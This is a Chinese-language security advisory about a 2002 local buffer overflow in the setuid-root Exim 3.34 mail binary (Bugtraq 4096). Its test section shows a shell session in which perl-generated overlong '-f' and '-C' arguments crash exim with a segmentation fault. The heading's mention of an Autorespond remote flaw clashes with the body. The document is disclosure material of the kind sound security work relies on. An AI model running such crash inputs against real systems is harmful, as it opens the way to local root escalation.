信息提供: 【扩展信息:Autorespond远程缓冲区溢出漏洞】
安全公告(或线索)提供热线:51cto.editor@gmail.com漏洞类别:
缓冲区溢出漏洞攻击类型:
本地攻击发布日期:
2002-02-13更新日期:
2002-02-13受影响系统:
university of cambridge exim 3.34安全系统:
无
漏洞报告人:
ehud tenenbaum漏洞描述:
bugtraq id: 4096
exim是一个开放源代码的免费邮件传送软件,由剑桥大学发布与维护.它可运行于unix/linux类操作系统之下. exim实现上存在一个缓冲区溢出漏洞,可以使本地攻击者获取root权限. 当exim以几种组合的参数标记被运行时,可能发生缓冲区溢出,其中必须的一个参数标记是指定配置文件的“-c“标记,一般情况下要有32768 字节长度的“-c“参数,还需要有其它的参数比如“-f“,它后面所跟的参数长度必须有32700字节.由于在某些系统下,它被设置了suid root属性,本地攻击者可能获取root权限.测试方法:
警告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.使用者风险自负!
首先让我们看看这个文件:
[2xs:root:~] ls -la /usr/exim/bin/exim -rws--x--x 1 root root 2061186 oct 23 12:56 /usr/exim/bin/exim* [2xs:root:~] suid身份 [2xs:w00p:/root] id uid=1001(w00p) gid=100(users) groups=100(users) [2xs:w00p:/root] /usr/exim/bin/exim -f `perl -e print "a" x 32770` -c `perl -e print "a" x 32768` segmentation fault [2xs:w00p:/root] ... 下一页